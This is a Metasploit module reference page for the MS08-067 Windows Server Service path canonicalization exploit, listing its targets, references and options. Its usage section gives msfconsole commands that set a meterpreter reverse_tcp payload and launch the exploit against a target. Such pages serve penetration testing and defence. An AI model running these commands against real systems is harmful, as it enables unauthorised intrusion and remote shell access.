Browse Exploit & Auxiliary Modules
The Metasploit Project hosts the world's largest database of quality assured exploits, including hundreds of remote exploits, auxiliary modules, and payloads. You can even review the Metasploit Framework source code of any module - or write your own.
Search for modules
Microsoft Server Service Relative Path Stack Corruption
This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is capable of bypassing NX on some operating systems and service packs. The correct target must be used to prevent the Server Service (along with a dozen others in the same process) from crashing. Windows XP targets seem to handle multiple successful exploitation events, but 2003 targets will often crash or hang on subsequent attempts. This is just the first version of this module, full support for NX bypass on 2003, along with other platforms, is still in development.
Rank
- Great
Authors
- hdm < hdm [at] metasploit.com >
- Brett Moore < brett.moore [at] insomniasec.com >
- staylor < >
- jduck < jduck [at] metasploit.com >
References
- CVE-2008-4250
- OSVDB-49243
- MSB-MS08-067
- http://www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-netpathcanonicalize-dos
Exploit Targets
- 0 - Automatic Targeting (default)
- 1 - Windows 2000 Universal
- 2 - Windows XP SP0/SP1 Universal
- 3 - Windows XP SP2 English (AlwaysOn NX)
- 4 - Windows XP SP2 English (NX)
- 5 - Windows XP SP3 English (AlwaysOn NX)
- 6 - Windows XP SP3 English (NX)
- 7 - Windows 2003 SP0 Universal
- 8 - Windows 2003 SP1 English (NO NX)
- 9 - Windows 2003 SP1 English (NX)
- 10 - Windows 2003 SP1 Japanese (NO NX)
- 11 - Windows 2003 SP2 English (NO NX)
- 12 - Windows 2003 SP2 English (NX)
- 13 - Windows 2003 SP2 German (NO NX)
- 14 - Windows 2003 SP2 German (NX)
- 15 - Windows XP SP2 Arabic (NX)
- 16 - Windows XP SP2 Chinese - Traditional / Taiwan (NX)
- 17 - Windows XP SP2 Chinese - Simplified (NX)
- 18 - Windows XP SP2 Chinese - Traditional (NX)
- 19 - Windows XP SP2 Czech (NX)
- 20 - Windows XP SP2 Danish (NX)
- 21 - Windows XP SP2 German (NX)
- 22 - Windows XP SP2 Greek (NX)
- 23 - Windows XP SP2 Spanish (NX)
- 24 - Windows XP SP2 Finnish (NX)
- 25 - Windows XP SP2 French (NX)
- 26 - Windows XP SP2 Hebrew (NX)
- 27 - Windows XP SP2 Hungarian (NX)
- 28 - Windows XP SP2 Italian (NX)
- 29 - Windows XP SP2 Japanese (NX)
- 30 - Windows XP SP2 Korean (NX)
- 31 - Windows XP SP2 Dutch (NX)
- 32 - Windows XP SP2 Norwegian (NX)
- 33 - Windows XP SP2 Polish (NX)
- 34 - Windows XP SP2 Portuguese - Brazilian (NX)
- 35 - Windows XP SP2 Portuguese (NX)
- 36 - Windows XP SP2 Russian (NX)
- 37 - Windows XP SP2 Swedish (NX)
- 38 - Windows XP SP2 Turkish (NX)
- 39 - Windows XP SP3 Arabic (NX)
- 40 - Windows XP SP3 Chinese - Traditional / Taiwan (NX)
- 41 - Windows XP SP3 Chinese - Simplified (NX)
- 42 - Windows XP SP3 Chinese - Traditional (NX)
- 43 - Windows XP SP3 Czech (NX)
- 44 - Windows XP SP3 Danish (NX)
- 45 - Windows XP SP3 German (NX)
- 46 - Windows XP SP3 Greek (NX)
- 47 - Windows XP SP3 Spanish (NX)
- 48 - Windows XP SP3 Finnish (NX)
- 49 - Windows XP SP3 French (NX)
- 50 - Windows XP SP3 Hebrew (NX)
- 51 - Windows XP SP3 Hungarian (NX)
- 52 - Windows XP SP3 Italian (NX)
- 53 - Windows XP SP3 Japanese (NX)
- 54 - Windows XP SP3 Korean (NX)
- 55 - Windows XP SP3 Dutch (NX)
- 56 - Windows XP SP3 Norwegian (NX)
- 57 - Windows XP SP3 Polish (NX)
- 58 - Windows XP SP3 Portuguese - Brazilian (NX)
- 59 - Windows XP SP3 Portuguese (NX)
- 60 - Windows XP SP3 Russian (NX)
- 61 - Windows XP SP3 Swedish (NX)
- 62 - Windows XP SP3 Turkish (NX)
- 63 - Windows 2003 SP2 Japanese (NO NX)
Development
Similar Modules
- exploit/windows/smb/ms03_049_netapi
- exploit/windows/smb/ms04_007_killbill
- exploit/windows/smb/ms04_011_lsass
- exploit/windows/smb/ms04_031_netdde
- exploit/windows/smb/ms05_039_pnp
- exploit/windows/smb/ms06_025_rasmans_reg
- exploit/windows/smb/ms06_025_rras
- exploit/windows/smb/ms06_040_netapi
- exploit/windows/smb/ms06_066_nwapi
- exploit/windows/smb/ms06_066_nwwks
Usage Information
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show payloads
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST [MY IP ADDRESS]
msf exploit(ms08_067_netapi) > set RHOST [TARGET IP]
msf exploit(ms08_067_netapi) > exploit
Module Options
| RHOST | The target address |
| RPORT | Set the SMB service port (default: 445) |
| SMBPIPE | The pipe name to use (BROWSER, SRVSVC) (default: BROWSER) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DCERPC::ReadTimeout | The number of seconds to wait for DCERPC responses |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| NTLM::SendLM | Always send the LANMAN response (except when NTLMv2_session is specified) |
| NTLM::SendNTLM | Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses |
| NTLM::SendSPN | Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required |
| NTLM::UseLMKey | Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent |
| NTLM::UseNTLM2_session | Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session |
| NTLM::UseNTLMv2 | Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true |
| Proxies | Use a proxy chain |
| SMB::ChunkSize | The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing |
| SMB::Native_LM | The Native LM to send during authentication |
| SMB::Native_OS | The Native OS to send during authentication |
| SMB::VerifySignature | Enforces client-side verification of server response signatures |
| SMBDirect | The target port is a raw SMB service (not NetBIOS) |
| SMBDomain | The Windows domain to use for authentication |
| SMBName | The NetBIOS hostname (required for port 139 connections) |
| SMBPass | The password for the specified username |
| SMBUser | The username to authenticate as |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| DCERPC::fake_bind_multi | Use multi-context bind calls |
| DCERPC::fake_bind_multi_append | Set the number of UUIDs to append the target |
| DCERPC::fake_bind_multi_prepend | Set the number of UUIDs to prepend before the target |
| DCERPC::max_frag_size | Set the DCERPC packet fragmentation size |
| DCERPC::smb_pipeio | Use a different delivery method for accessing named pipes (accepted: rw, trans) |
| SMB::obscure_trans_pipe_level | Obscure PIPE string in TransNamedPipe (level 0-3) |
| SMB::pad_data_level | Place extra padding between headers and data (level 0-3) |
| SMB::pad_file_level | Obscure path names used in open/create (level 0-3) |
| SMB::pipe_evasion | Enable segmented read/writes for SMB Pipes |
| SMB::pipe_read_max_size | Maximum buffer size for pipe reads |
| SMB::pipe_read_min_size | Minimum buffer size for pipe reads |
| SMB::pipe_write_max_size | Maximum buffer size for pipe writes |
| SMB::pipe_write_min_size | Minimum buffer size for pipe writes |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
